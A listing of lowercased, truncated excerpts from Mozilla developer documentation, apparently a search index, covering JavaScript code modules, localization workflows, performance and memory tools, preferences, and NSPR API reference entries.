import it: components.utils.import("resource://gre/modules/timer.jsm"); then call settimeout and cleartimeout just as you would in a dom window, for example: let timeoutid = settimeout(function() { console.log("hello!"); }, 500); cleartimeout(timeoutid); similarly, you can use setinterval and clearinterval like so: let intervalid = setinterval(function() { console.log("happening every 500ms!"); }, 500); clearinterval(intervalid); ...
Using workers in JavaScript code modules
.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. note: as of gecko 8.0, the nsiworkerfactory interface has been removed starting in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1), you can use workers in javascript code modules (jsms). this lets you run code in a separate thread from your jsm. to create a chromeworker for this purpose, you need to use the nsiworkerfactory interface: var workerfactory = components.classes['@mozilla.org/threads/workerfactory;1'] .createinstance(components.interfaces.nsiworkerfactory); var worker = workerfactory.newchromeworker('script_url.js'); this will create...
XPCOMUtils.jsm
t factory is used, which returns // |(new mycomponent()).queryinterface(iid)| in its createinstance(). _xpcom_factory: { ... }, // [optional] an array of categories to register this component in. _xpcom_categories: [{ // each object in the array specifies the parameters to pass to // nsicategorymanager.addcategoryentry(). 'true' is passed for // both apersist and areplace params. category: "some-category", // optional, defaults to the object's classdescription entry: "entry name", // optional, defaults to the object's contractid (unless // 'service' is specified) value: "...", // optional, defaults to false. when set to true, and only if 'value' // is not specified, the concatenation of the string "service," and the // object's contrac...
source-editor.jsm
g that was specified when the breakpoint was set. getcaretoffset() returns the current caret position (insertion point) as an offset into the text. number getcaretoffset(); parameters none. return value the 0-based offset into the text at which newly-typed characters will be inserted. getcaretposition() returns an object describing the position of the caret (insertion point) in terms of its line number and column. object getcaretposition(); parameters none. return value the returned object describes the caret position: property type description line number the 0-based line number on which the caret is located. col number the 0-based column number on which the caret is located. getcharcount() returns the number of cha...
Bootstrapping a new locale
-cd" with your language identifier first and 1.9.x with the most current release branch. for instance, firefox 3.6 is released from the 1.9.2 branch. from now on may be needs some corrections, (see expected structure below $cd ab-cd/browser/chrome/browser) may be needs $cp -r mozilla-1.9.x/browser/locales/ ab-cd and then $mv ab-cd/en-us ab-cd/browser and the same for the others the commands seems symbolic and not real ... see also structure expected more below. /editor/ is in 1.9.2 ? netwerk not error ? mkdir -p ab-cd/browser/installer ab-cd/browser/profile/chrome ab-cd/browser/searchplugins ab-cd/browser/updater ab-cd/toolkit cp -r mozilla-1.9.x/browser/locales/ ab-cd/browser cp -r mozilla-1.9.x/dom/locales/ ab-cd/dom cp -r mozilla-1.9.x/editor/locales/ ab-cd/editor cp -r mozilla-1.9.x...
Encodings for localization files
matches toolkit/installer/windows/install.it charset= parameter. see the table below for appropriate values. toolkit/installer/windows/install.it a windows codepage. this must match the charset= parameter in this file, and the win_installer_charset parameter in charset.mk the fontname/fontsize/charset parameters in this file must be set to good values. for most western scripts, ‘ms sans serif’ and ‘8’ are good defaults for the font settings. eastern scripts will need to choose appropriate fonts that are shipped with windows. see the table below for appropriate values for the charset= parameter. browser/installer/installer.inc utf-8 toolkit/installer/unix/install.it utf-8 native windows encodings the following table lists nativ...
Localization notes
these comments are generally referred to as localization notes. there is an established format for those, which is described in this document. it's important to follow the format as closely as possible. there are a number of automated tools that parse these comments for easier access and use by localizers. ...
Localizing with Koala
in the following 2 files: searchbar.dtd: cmd_enginemanager.label searchendcap.label search.properties: cmd_addfoundengine it's time to put these files under mercurial's version control system. this will allow you to track changes, export them to remote repositories (first on bitbucket, later on hg.mozilla.org) and revert files to earlier versions in case of errors. version control systems add a lot of transparency to your work and allow others to get involved easily, so it's best to commit often (e.g. after you finish translating every file, or even more frequently). koala supports mercurial and allows you to add and commit files automatically from komodo. for the purposes of this tutorial, we will switch to the command line every now and then to see what koala does behind the sce...
Localizing with Mozilla Translator
s: ab-cd.jar, ab-win.jar, ab-mac.jar, ab-unix.jar, and cd.jar. mt thus referred to ab-cd.jar contents as ''platform neutral'' platform, cd.jar as '''region''' platform (or regional files), and the other three as ''windows platform'', ''mac platform'' and ''unix platform''. this jar structure is now used just by seamonkey 1.1.x. when mozilla l10n switched to ''source l10n'', one of the many problems that mt had to solve was how to fit a directory structure in what had been designed for five jars, and the ''patch'' consisted of providing a ''read from dir instead of jar'' and ''put everything inside platform neutral''. that has worked well (ok, more or less) :-) as long as you could instruct mt to use just one ''root'' l10n directory, but this is no longer the case with mercurial. mt could ...
Initial setup
account once you're ready to have your localization registered on the main mozilla repositories. add a request about creating your ldap account to the new locales newsgroup. locale-specific bugzilla component having a bugzilla component specific to your locale will help us to track your localization's progress from first steps to official release. it will also notify us when you're having problems unique to your localization team's work. add a request about creating your locale's bugzilla component to the new locales newsgroup. local environment tools similar to accounts, there is a number of environment tools that you should install on your personal computer. these tools will help you to store your contributions, build mozilla applications and language packs, and test your work. hg ...
QA phase
nt. click here for guidelines on how to test your localization. don't lose your work! your work is so important! we would really hate to see you lose any of it. after you test your localization, you should send it to a remote repository, which will serve as a backup for your work and will let others follow your progress. we're going to go through the process below. the official localization teams use repositories at hg.mozilla.org. before a team becomes official, we like to get the localizers comfortable with the hg commands that allow for cloning, pulling, committing, and pushing work to an experimental repository. we use a web service called bit bucket to start the learning process. note: you must have mercurial configured before you begin. that step is back on the initial setup page.
Translation phase
number of mozilla websites that need to be localized before your efforts become an officially released localization. see the list of localized mozilla websites. you should also read more information on localizing mozilla web projects. add-ons l10n for add-ons is handled by at least two other organizations/services called babelzilla and adofex. they both have created comprehensive programs and l10n tools for localizing any and all third-party add-ons for mozilla applications. visit their websites to learn how to get involved. babelzilla adofex tool-independent localization are you a command-line master? do you prefer unicode text editors to any other applications on earth? do you have a pet cat (computer-assisted translation) tool, like omegat? then you may not be interested...
SVN for Localizers
rs to a set of files and directories that are in the testing stage (i.e., staging). all file modifications belong in trunk because they are seen most frequently. inside mozilla.com/trunk/locales, there are separate directories for each locale that is localizing mozilla.com. in each of those locale directories are other directories with files to be localized in .lang format. note: we use the terms stage and prod (abbreviations of the terms staging and production) to refer to testing and publicly visible websites, respectively. working with svn now that you understand the mozilla svn repository layout (in particular the layout for mozilla.com), let's get some files into your hands to start localizing! the first thing you need to do is copy the mozilla repository you want to work on to yo...
Localization technical reviews
any utf-7 encodings in the file toolkit/chrome/global/intl.properties. for more info about utf-7 in firefox, see bug 441876. more intl.properties checkpoints, cont we also check the plural rule for the locale, that the general.useragent.locale is set to the locale code, that accept-lang shows the locale code(s) (like ab, ab-cd,...) and is followed by en and en-us, and finally that intl.menuitems.insertseparatorbeforeaccesskeys = true, where "true" should be left untranslated. inspect firefox-l10n.js we ensure that there are no odd preferences, or #filter substitutions for general.useragent.locale. most locales should have the following: #filter substitution pref("general.useragent.locale", "@ab_cd@") how it all works a large part of the review process takes place before you even ...
Creating localizable web content
depending on context, find alternate strings or document an explanation of the string for localizers check that we don't link in new pages to sub-pages with anchors. ...
Mozilla Framework Based on Templates (MFBT)
nt primarily attempts to direct readers to the correct file to read those comments. feel free to file a documentation bug if you think this approach could be improved, and feel free to make improvements to this document if you see them. functionality types and type manipulation standardinteger.h implements the <stdint.h> interface. (the <stdint.h> standard header is not available on all platforms and so cannot be used directly. this header also provides a useful "hook" for embeddings that must customize the types underlying the fixed-size integer types.) types.h includes standardinteger.h and further provides size_t. checkedint.h implements checked integers. they behave like integers, but safely check for integer overflow and divide-by-zero. useful for input validation. floatingpoint.h...
Updates
e and improve it! may 8, 2007 mozilla ceo speaks out on the future of firefox: the complete 8,000 word interview. interview to the apc magazine where mitchell baker mentions roger sidje's work on mathml. june 5, 2002 mozilla 1.0 released "by virtue of embedding gecko, mozilla 1.0 and products based on mozilla code support more web standards, more deeply, more consistently across more platforms than any others. mozilla 1.0 features full support for html 4.0, xml 1.0, resource description framework (rdf), cascading style sheets level 1 (css1), and the w3c document object model level 1 (dom1) [...] as well as support for display of mathematical equations using mathml." december 7, 2001 status report october 2000 the first international mathml conference april 14, 2000 status report ...
MathML Accessibility in Mozilla
we started exposing generic accessible objects for mathml in bug 920547 and so these can be retrieved by nvda starting with gecko 27.0 (firefox 27.0 / thunderbird 27.0 / seamonkey 2.24). mozilla and nvda developers essentially do not have control on how mathematical formulas are read, please contact design science for any inquiries. mac: mathml support is provided by voiceover. ...
Mozilla Web Services Security Model
e the type attribute of the allow element can take the following values: any means that the allow element applies to all services that use web-scripts-access.xml for security checks. there may be more such such services in the future than there are now. this is the same as not having a type attribute. load [not implemented!] ability to load documents via xmlhttprequest or similar mechanisms. soap soap requests without verification headers soapv soap requests with verification headers the from attribute the from attribute on the allow element says which calling sites the allow element applies to. if there is no from attribute then the allow element applies to all sites. the from attribute otherwise gives a url to match, which may contain up to two asterisks (*) that match an...
Mozilla Development Tools
e names. bonsai bonsai is tree control (get it?). it is our home-grown web-based tool for watching the up-to-the-minute goings-on in our cvs repository (viewing checkins and log messages, reading diffs, etc.) tinderbox tinderbox is for knowing when the tree is in flames. it is our home-grown web-based tool for watching the progress of the continuous builds that we run on multiple platforms. it is how we are able to tell when a checkin has broken the build on some platform, and how we know which person needs to be viciously flogged. bugzilla bugzilla is where developers can report bugs in the mozilla source releases, and browse an online database of already-reported bugs. doctor doctor is a web interface to cvs. it lets developers and others edit pages on the mozilla.org w...
Mozilla projects on GitHub
d to help you get an overview of your bugs. codefirefox the codefirefox site, with videos and tutorials about how to contribute to the firefox project and mozilla code in general. debugger.html the debugger.html, a modern universal js debugger for firefox devtools, node, and every other js environment. dxr an intelligent tool for browsing source code. emscripten the emscripten llvm-to-javascript compiler. fxdt-adapters the firefox developer tools adapter that lets you debug various remote targets from the firefox developer tools. firefox-dev.tools a web page to help new mozilla contributors find bugs to work on that relate to the firefox developer tools. gecko-dev a read-only mirror of the mercurial repositor...
Are We Slim Yet
s tracked memory usage across builds on the (now defunct) website areweslimyet.com. it used the same infrastructure as about:memory to measure memory usage on a predefined snapshot of alexa top 100 pages known as tp5. since firefox transitioned to using multiple processes by default, we moved awsy into the taskcluster infrastructure. this allowed us to run measurements on all branches and platforms. the results are posted to perfherder where we can track regressions automatically. as new processes are added to firefox we want to make sure their memory usage is also tracked by awsy. to this end we request that memory reporting be integrated into any new process before it is enabled on nightly. ...
Build Metrics
system and tracked by perfherder. num_constructors number of static constructors found by the compiler in the firefox c++ codebase. lower is better. static constructors are undesirable because their initialization imposes an unavoidable time penalty every time firefox is started. installer size size in bytes of the firefox installer. lower is better here, especially on space-restricted platforms like android. build times amount of time it takes to build firefox in automation on a specific platform / configuration. lower is better. compiler warnings number of compiler warnings detected during a build. lower is better. due to the way the build system works, compiler warnings are not consistently detected. so the value may fluctuate from build to build even if the number of compiler wa...
Automated performance testing and sheriffing
fox for various performance characteristics (page load time, startup time, etc.). we also generate some metrics as part of the build process (like installer size) that are interesting to track over time. ...
BloatView
those configurations are located in testing/mozharness/configs/. the most likely configs you'll want to modify are listed below: linux: unittests/linux_unittest.py mac: unittests/mac_unittest.py windows: unittests/win_unittest.py android: android/androidarm_4_3.py how to instrument your objects for bloatview first, if your object is an xpcom object and you use the...
Intel Power Gadget
this article provides a basic introduction. note: the power profiling overview is worth reading at this point if you haven't already. it may make parts of this document easier to understand. the main strengths of this tool are (a) it works on windows, unlike most other power-related tools, and (b) it shows this data in graph form, which is occasionally useful. on mac and linux, tools/power/rapl is probably a better tool to use. ...
Measuring performance using the PerfMeasurement.jsm code module
r scope: components.utils.import("resource://gre/modules/perfmeasurement.jsm") you can then create a perfmeasurement object. you give the constructor a bit-mask of events you're interested in; see note: at present, perfmeasurement.jsm is only functional on linux, but it is planned to add support for windows (bug 583322) and osx (bug 583323) as well, and we welcome patches for other operating systems. for instance, let's measure instructions executed, cache references, and cache misses: let monitor = new perfmeasurement(perfmeasurement.cpu_cycles | perfmeasurement.cache_references | perfmeasurement.cache_misses); this creates a new perfmeasurement object, configured to record the specified event types. it doesn't, however, start to record data. now we want to benchmark a function...
Memory Profiler
referring-to, namely retaining graphs. this is helpful in exploring the relationships among objects and identifying memory leaks. however, the information exposed in this way is usually a snapshot and the history of how memory has been used goes missing. moreover, they usually don't keep tracks of how objects are allocated. developers have to infer how an object might be allocated and freed by himself/herself. another common approach is to plot the allocations or the memory usages along the timeline. this gives some intuition of how and when a bulk of objects are allocated. however, it still relies on developers' wisdom, and sometimes chances, to dig out the problematical code snippet. this memory profiler is designed to solve the inconveniences and limitations. the goal is to identify th...
TraceMalloc
cation that has not been deallocated by shutdown. some of these are false positives, allocations that are truly needed until shutdown. ideally, these would be freed explicitly, to make it easier to find real leaks using the shutdown log. here is a how-to for analyzing the shutdown log, taken from the tinderbox leak builds. this example is for macos; small modifications are needed for other platforms. # run application with shutdown logging # note: tinderbox leak tests use: python leaktest.py -- --trace-malloc malloc.log --shutdown-leaks=sdleak.log # note 2: it appears that the shutdown log is not recorded if --trace-malloc is given the - argument. build/dist/minefield.app/contents/macos/firefox --trace-malloc /dev/null --shutdown-leaks=sdleak.log # convert raw log to text representation of c...
A brief guide to Mozilla preferences
e same as the default. modifying preferences advanced users can set named preferences via the advanced preferences editor, by typing about:config in the location bar. this ui is not recommended for most users. programmatic changes to preferences can be made using the preferences.jsm module from js code, or the mozilla::preferences static class methods from c++ code. changing defaults a systems administrator can modify the default preferences in two ways: the administrator may add an all-companyname.js preference file (install_directory/browser/defaults/preferences/all-companyname.js). this will be parsed last during the preference loading process. the administrator may alternatively put a user.js file in app_dir/defaults/profile/ ; this will put a copy of the user.js in all new...
ui.tooltipDelay
...
Research and prep
n is the process of determining a user's choice of default search engines, content and protocol handlers (rss readers, web mail and web calendar), bookmarks, and links to recommended sites on the in-product pages as it relates to their locale. it is one of the most customizable and localizable parts of the product l10n process, as it goes beyond string translation. we believe that localization teams are in the best position to provide recommendations on what local providers we can use for web services because you're in the market, work in the language, and know your users. this is, therefore, meant to be a guideline for how you should be formulating your recommendations. here's the basic process: file a bug under mozilla localizations>[your_locale] to request updates to your locale's produ...
Profile Manager
locked profile, you'll get a warning; if you choose to continue despite the warning, you may encounter errors or corrupt a profile. it's strongly recommended to avoid operations on locked profiles. if you need to do something with a locked profile, close the instance of firefox which is using the profile first. backing up and restoring profiles profile manager offers two different mechanisms for backing up and restoring profiles. backup folder profile manager has a local backup folder where it can manage profile backups. this is the easiest way to backup and restore profiles. to backup a profile: select the profile you want to backup, and choose "backup to->backup folder" from the toolbar's backup menu. the profile will be backed up, and the backup will appear under the back...
A guide to searching crash reports
get search results with two facet tabs. the first of these is a "platform facet" tab, with results like those shown in the following screenshot. this has the same columns as the "signature facet" tab we saw earlier, except for the "bugs" column, because that is a special column that only applies to the signature facet. this tab shows the distribution of crash reports across the various platforms. crash reports always include a platform field (though it may be empty if something has gone wrong) and so the percentages add up to 100. grouping by "moz crash reason" the second facet tab is a "moz crash reason facet" tab, with results like those shown in the following screenshot. this immediately shows which moz_crash calls are being hit frequently by users. only a subset of crash reports...
JSHydra
de. it is inspired by the dehydra and treehydra tools, which can perform similar tasks in c++ code. in its back-end, it uses the parse tree created by the spidermonkey engine. all analysis is performed by running javascripts. documentation installing jshydra download, installation and dependency info for jshydra community view jshydra forums... mailing list newsgroup rss feed #static on irc.mozilla.org blogs joshua cranmer related topics dehydra, treehydra, spidermonkey categories interwiki language links ...
L20n Javascript API
result in entities being broken which in turn can lead to above error being emitted. warning - fired when a less serious error occurs from which the context instance can recover gracefully and try to fetch a translations from a fallback locale. the error object is passed as the first argument to callback and can be one of the following: context.error, when there are problems with setting up resources (e.g. a 404 error when fetching a resource file, or recursive import statements in resource files), context.translationerror, when there is a missing translation in one of supported locales; the context instance will try to retrieve a fallback translation from the next locale in the fallback chain, compiler.error, when l20n is unable to evaluate a...
Localization Use Cases
consequently, using the existing localization frameworks, the developer needs to predict which strings might need pluralization in other languages, and pluralize them even in english: availablesize = {[ plural(size) ]} availablesize[other] = {{$size}} {{$unit}} available an italian translation might look like this: availablesize = {[ plural(size) ]} availablesize[o...
MailNews
, pop3, imap, nntp message management, including search and filtering message composition address book the mailnews code lives in the mailnews/ directory of comm-central. asynctestutils extended framework the asynctestutils extended framework is one mechanism for testing the mailnews component of thunderbird. see mailnews automated testing for a description of the other testing mechanisms. leak and bloat tests this page describes how to perform tests that measure memory leaks and bloat for mailnews and its sub-components. mailnews automated testing automated testing is an increasingly significant and important part of mailnews development. it allows reviewers to quickly pick up regressions in patches and helps developers to think about different cases. see pages ta...
McCoy
ed to download and install it. mccoy is provided in the standard package for your operating system, just extract it where you like and run it. mccoy-0.5.en-us.win32.zip (windows) mccoy-0.5.en-us.linux-i686.tar.bz2 (linux) mccoy-0.5.en-us.mac.dmg (mac os x universal) there are some known issues with running mccoy on linux. it will not run on older versions of linux and there are known problems even on up to date systems. we hope to resolve this for the next release - or around the year 2100. uninstalling mccoy to uninstall mccoy simply delete the applications files. the cryptographic keys and other mccoy data are kept in a profile folder separate from the application so you can uninstall and reinstall without losing your precious keys. backing up data if you need to backup your dat...
Midas
an entire document becomes editable, authors often load the editable document into an iframe and do the bulk of the scripting in the parent document. according to standards, the iframe element has the contentdocument property that refers to the document in the inline frame. it also has a property called contentwindow that refers to the window object inside the inline frame. this also avoids problems with bug 198155. in addition to the built-in commands, advanced editing can be done by manipulating the selection and range objects. it is beneficial to be familiar with these objects when working with an editable document. examples this example shows the basic structure described in the notes section : <html> <head> <title>simple edit box</title> </head> <body> <iframe id="midasfor...
Atomic Operations
this chapter describes the global functions you use to perform atomic operations. the functions define a portable api that may be reliably used in any environment. since not all operating environments provide access to such functions, their performance may vary considerably. atomic operations functions the api defined for the atomic functions is consistent across all supported platforms. however, the implementation may vary greatly, and hence the performance. on systems that do not provide direct access to atomic operators, nspr emulates the capabilities by using its own locking mechanisms. for such systems, nspr performs atomic operations just as efficiently as the client could. therefore, to preserve portability, it is recommended that clients use the nspr api for atomic operations. th...
IPC Semaphores
this chapter describes the nspr api for using interprocess communication semaphores. nspr provides an interprocess communication mechanism using a counting semaphore model similar to that which is provided in unix and windows platforms. note: see also named shared memory ipc semaphore functions ipc semaphore functions pr_opensemaphore pr_waitsemaphore pr_postsemaphore pr_closesemaphore pr_deletesemaphore ...
Interval Timing
interval time type and constants all timed functions in nspr require a parameter that depicts the amount of time allowed to elapse before the operation is declared failed. the type of such arguments is printervaltime. such parameters are common in nspr functions such as those used for i/o operations and operations on condition variables. nspr 2.0 provides interval times that are efficient in terms of performance and storage requirements. conceptually, they are based on free-running counters that increment at a fixed rate without possibility of outside influence (as might be observed if one was using a time-of-day clock that gets reset due to some administrative action). the counters have no fixed epoch and have a finite period. to make use of these counters, the application must declare a ...
Logging
on and execution nspr's logging facility is conditionally compiled in and enabled for applications using it. these controls are platform dependent. logging is not compiled in for the win16 platform. logging is compiled into the nspr debug builds; logging is not compiled into the nspr optimized builds. the compile time #define values debug or force_pr_log enable nspr logging for application programs. to enable nspr logging and/or the debugging aids in your application, compile using the nspr debug build headers and runtime. set one of the compile-time defines when you build your application. execution-time control of nspr's logging uses two environment variables. these variables control which modules and levels are logged as well as the file name of the log file. by default, no logging is ...
Long Long (64-bit) Integers
compiler for the target platform supports 64-bit integers. for a specific target platform, if 64-bit integers are supported for that platform, define have_long_long at compile time. 64-bit integer types nspr provides two types to represent 64-bit integers: print64 pruint64 64-bit integer functions the api defined for the 64-bit integer functions is consistent across all supported platforms. limits and initialization relational operators logical operators arithmetic operators shift operators conversion operators ...
NSPR LOG FILE
he exact syntax is platform specific. description use this environment variable to specify a log file other than the default. if nspr_log_file is not in the environment, then log output is written to stdout or stderr, depending on the platform. set nspr_log_file to the name of the log file you want to use. nspr logging, when enabled, writes to the file named in this environment variable. for ms windows systems, you can set nspr_log_file to the special (case-sensitive) value windebug. this value causes logging output to be written using the windows function outputdebugstring(), which writes to the debugger window. ...
PRHostEnt
the network address functions. all addresses are passed in host order and returned in network order (suitable for use in system calls). use the network address functions to manipulate the prhostent structure. to make the transition to ip version 6 easier, it's best to treat prhostent as an opaque structure. note winsock.h defines h_addrtype and h_length as a 16-bit field, whereas other platforms treat it as a 32-bit field. the #ifdef in the structure allows direct assignment of the prhostent structure. ...
PRInt16
guaranteed to be a signed 16-bit integer on all platforms. syntax #include <prtypes.h> typedefdefinition print16; ...
PRInt32
syntax #include <prtypes.h> typedefdefinition print32; description may be defined as an int or a long, depending on the platform. ...
PRInt64
syntax #include <prtypes.h> typedef definition print64; description may be defined in several different ways, depending on the platform. ...
PRInt8
guaranteed to be a signed 8-bit integer on all platforms. syntax #include <prtypes.h> typedef definition print8; ...
PRLogModuleLevel
the enumerated type prlogmodulelevel defines levels of logging available to application programs. syntax #include <prlog.h> typedef enum prlogmodulelevel { pr_log_none = 0, pr_log_always = 1, pr_log_error = 2, pr_log_warning = 3, pr_log_debug = 4, pr_log_notice = pr_log_debug, pr_log_warn = pr_log_warning, pr_log_min = pr_log_debug, pr_log_max = pr_log_debug } prlogmodulelevel; ...
PRNetAddr
r berkeley socket interface, although this fact should not be relied upon. the raw member of the union is equivalent to struct sockaddr, the inet member is equivalent to struct sockaddr_in, and if the binary is built with ipv6 support, the ipv6 member is equivalent to struct sockaddr_in6. (note that prnetaddr does not have the length field that is present in struct sockaddr_in on some unix platforms.) the macros pr_af_inet, pr_af_inet6, pr_inaddr_any, pr_inaddr_loopback are defined if prio.h is included. pr_inaddr_any and pr_inaddr_loopback are special ipv4 addresses in host byte order, so they must be converted to network byte order before being assigned to the inet.ip field. ...
PRThreadPriority
h urgency but short duration. pr_priority_urgent highest priority. only one thread at a time typically has this priority. pr_priority_last placeholder description in general, an nspr thread of higher priority has a statistically better chance of running relative to threads of lower priority. however, because of the multiple strategies nspr uses to implement threading on various host platforms, nspr priorities are not precisely defined. at best they are intended to specify a preference in the amount of cpu time that a higher-priority thread might expect relative to a lower-priority thread. this preference is still subject to resource availability and must not be used in place of proper synchronization. see also setting thread priorities. ...
PRThreadScope
by the host os and compete with all other threads on the host os for resources. they are subject to fairly sophisticated scheduling techniques. local threads are scheduled by nspr within the process. the process is assumed to be globally scheduled, but nspr can manipulate local threads without system intervention. in most cases, this leads to a significant performance benefit. however, on systems that require nspr to make a distinction between global and local threads, global threads are invariably required to do any form of i/o. if a thread is likely to do a lot of i/o, making it a global thread early is probably warranted. on systems that don't make a distinction between local and global threads, nspr silently ignores the scheduling request. to find the scope of the thread, call pr_get...
PRTimeParameters
representation of time zone information. syntax #include <prtime.h> typedef struct prtimeparameters { print32 tp_gmt_offset; print32 tp_dst_offset; } prtimeparameters; description each geographic location has a standard time zone, and if daylight saving time (dst) is practiced, a daylight time zone. the prtimeparameters structure represents the local time zone information in terms of the offset (in seconds) from gmt. the overall offset is broken into two components: tp_gmt_offset the offset of the local standard time from gmt. tp_dst_offset if daylight savings time (dst) is in effect, the dst adjustment from the local standard time. this is most commonly 1 hour, but may also be 30 minutes or some other amount. if dst is not in effect, the tp_dst_offset component i...
PRUint16
guaranteed to be an unsigned 16-bit integer on all platforms. syntax #include <prtypes.h> typedefdefinition pruint16; ...
PRUint32
syntax #include <prtypes.h> typedefdefinition pruint32; description may be defined as an unsigned int or an unsigned long, depending on the platform. ...
PRUint64
syntax #include <prtypes.h> typedef definition pruint64; description may be defined in several different ways, depending on the platform. for syntax details for each platform, see prtypes.h. ...
PRUint8
there is no type equivalent to a plain char. ...
PR_AttachThread
e thread being attached. stack the stack for the thread being attached. returns the function returns one of these values: if successful, a pointer to a prthread object. if unsuccessful, for example if system resources are not available, null. description you use pr_attachthread when you want to use nss functions on the native thread that was not created with nspr. pr_attachthread informs nspr about the new thread by associating a prthread object with the native thread. the thread object is automatically destroyed when it is no longer needed. you don't need to call pr_attachthread unless you create your own native thread. pr_init calls pr_attachthread automatically for the primordial thread. note: as of nspr release v3.0, pr_attachthread and pr_detachthread are obsolete. a nati...
PR_Available
: if the function completes successfully, it returns the number of bytes that are available for reading. for a normal file, these are the bytes beyond the current file pointer. if the function fails, it returns the value -1. the error code can then be retrieved via pr_geterror. description pr_available works on normal files and sockets. pr_available does not work with pipes on win32 platforms. see also if the number of bytes available for reading is out of the range of a 32-bit integer, use pr_available64. ...
PR_Available64
if the function completes successfully, it returns the number of bytes that are available for reading. for a normal file, these are the bytes beyond the current file pointer. if the function fails, it returns the value -1. the error code can then be retrieved via pr_geterror. description pr_available64 works on normal files and sockets. pr_available does not work with pipes on win32 platforms. see also if the number of bytes available for reading is within the range of a 32-bit integer, use pr_available. ...
PR_Connect
_interval_no_timeout as the timeout, the os's connection time limit will be used. if the socket is a udp socket, there is no connection setup to speak of, since udp is connectionless. if pr_connect is invoked on a udp socket, it has an overloaded meaning: pr_connect merely saves the specified address as the default peer address for the socket, so that subsequently one can send and receive datagrams from the socket using pr_send and pr_recv instead of the usual pr_sendto and pr_recvfrom. ...
PR_EXTERN
for functions or variables that are to be exported from a shared library. syntax #include <prtypes.h> pr_extern(type)prototype description pr_extern is used to define externally visible routines and globals. for syntax details for each platform, see prtypes.h. the macro includes the proper specifications to declare the target extern and set up other required linkages. warning: some platforms do not allow the use of the underscore character (_) as the first character of an exported symbol. ...
PR_IMPLEMENT
used to define implementations of symbols that are to be exported from a shared library. syntax #include <prtypes.h> pr_implement(type)implementation description pr_implement is used to define implementations of externally visible routines and globals. for syntax details for each platform, see prtypes.h. warning: some platforms do not allow the use of the underscore character (_) as the first character of an exported symbol. ...
PR_Initialize
argc, char **argv, pruintn maxptds); parameters pr_initialize has the following parameters: prmain the function that becomes the primordial thread's root function. returning from prmain leads to termination of the process. argc the length of the argument vector, whether passed in from the host's program-launching facility or fabricated by the actual main program. this approach conforms to standard c programming practice. argv the base address of an array of strings that compromise the program's argument vector. this approach conforms to standard c programming practice. maxptds this parameter is ignored. returns the value returned from the root function, prmain. description pr_initialize initializes the nspr runtime and places nspr between the caller and the runtime lib...
PR_Interrupt
tions and known bugs: there can be a delay for a thread to be interrupted from a blocking i/o function. in all nspr implementations, the maximum delay is at most five seconds. in the pthreads-based implementation on unix, the maximum delay is 0.1 seconds. file i/o is considered instantaneous, so file i/o functions cannot be interrupted. unfortunately the standard input, output, and error streams are treated as files by nspr, so a pr_read call on pr_stdin cannot be interrupted even though it may block indefinitely. in the nt implementation, pr_connect cannot be interrupted. in the nt implementation, a file descriptor is not usable and must be closed after an i/o function on the file descriptor is interrupted. see the memo using io timeout and interrupt on nt for details. ...
PR_MkDir
n mode); parameters the function has the following parameters: name the name of the directory to be created. all the path components up to but not including the leaf component must already exist. mode the access permission bits of the file mode of the new directory if the file is created when pr_create_file is on. caveat: the mode parameter is currently applicable only on unix platforms. it may be applicable to other platforms in the future. possible values include the following: 00400. read by owner. 00200. write by owner. 00100. search by owner. 00040. read by group. 00020. write by group. 00010. search by group. 00004. read by others. 00002. write by others. 00001. search by others. returns if successful, pr_success. if unsuccessful, pr_failure. the actu...
PR NewProcessAttr
cessattr *pr_newprocessattr(void); parameters the function has no parameters. returns a pointer to the new process attributes structure. description this function creates a new prprocessattr structure that specifies the attributes of a new process, then returns a pointer to the structure. the new prprocessattr structure is initialized with these default attributes: the standard i/o streams (standard input, standard output, and standard error) are not redirected. no file descriptors are inherited by the new process. ...
PR_NewUDPSocket
<prio.h> prfiledesc* pr_newudpsocket(void); returns the function returns one of the following values: upon successful completion, a pointer to the prfiledesc object created for the newly opened udp socket. if the creation of a new udp socket failed, null. description udp (user datagram protocol) is a connectionless, unreliable datagram protocol of the tcp/ip protocol suite. udp datagrams may be lost or delivered in duplicates or out of sequence. pr_newudpsocket creates a new udp socket. the socket may be bound to a well-known port number with pr_bind. datagrams can be sent with pr_sendto and received with pr_recvfrom. when the socket is no longer needed, it should be closed with a call to pr_close. see also pr_newudpsocket is deprecated because it is hardcoded to create an ipv...
PR_Open
y updated. pr_excl 0x80 with pr_create_file, if the file does not exist, the file is created. if the file already exists, no action and null is returned. mode when pr_create_file flag is set and the file is created, these flags define the access permission bits of the newly created file. this feature is currently only applicable on unix platforms. it is ignored by any other platform but it may apply to other platforms in the future. possible values of the mode parameter are listed in the table below. name value description pr_irwxu 0700 read, write, execute/search by owner. pr_irusr 0400 read permission, owner. pr_iwusr 0200 write permission, owner. ...
PR_OpenAnonFileMap
pprotect prot ); parameters the function has the following parameters: dirname a pointer to a directory name that will contain the anonymous file. size the size of the shared memory. prot how the shared memory is mapped. returns pointer to prfilemap or null on error. description if the shared memory already exists, a handle is returned to that shared memory object. on unix platforms, pr_openanonfilemap uses dirname as a directory name, without the trailing '/', to contain the anonymous file. a filename is generated for the name. on windows platforms, dirname is ignored. ...
PR_OpenTCPSocket
creates a new tcp socket of the specified address family. syntax #include <prio.h> prfiledesc* pr_opentcpsocket(printn af); parameters the function has the following parameters: af the address family of the new tcp socket. can be pr_af_inet (ipv4), pr_af_inet6 (ipv6), or pr_af_local (unix domain, supported on posix systems only). returns the function returns one of the following values: upon successful completion, a pointer to the prfiledesc object created for the newly opened tcp socket. if the creation of a new tcp socket failed, null. description tcp (transmission control protocol) is a connection-oriented, reliable byte-stream protocol of the tcp/ip protocol suite. pr_opentcpsocket creates a new tcp socket of the address family af. a tcp connection is established by ...
PR_ReadDir
ctory. flags specifies which directory entries, if any, to skip. values can include the following: pr_skip_none. do not skip any files. pr_skip_dot. skip the directory entry "." representing the current directory. pr_skip_dot_dot. skip the directory entry ".." representing the parent directory. pr_skip_both. skip both "." and ".." pr_skip_hidden. skip hidden files. on windows platforms and the mac os, this value identifies files with the "hidden" attribute set. on unix platform, this value identifies files whose names begin with a period ("."). returns a pointer to the next entry in the directory. if the end of the directory is reached or an error occurs, null. the reason can be retrieved via pr_geterror. description pr_readdir returns a pointer to a directory entr...
PR_Recv
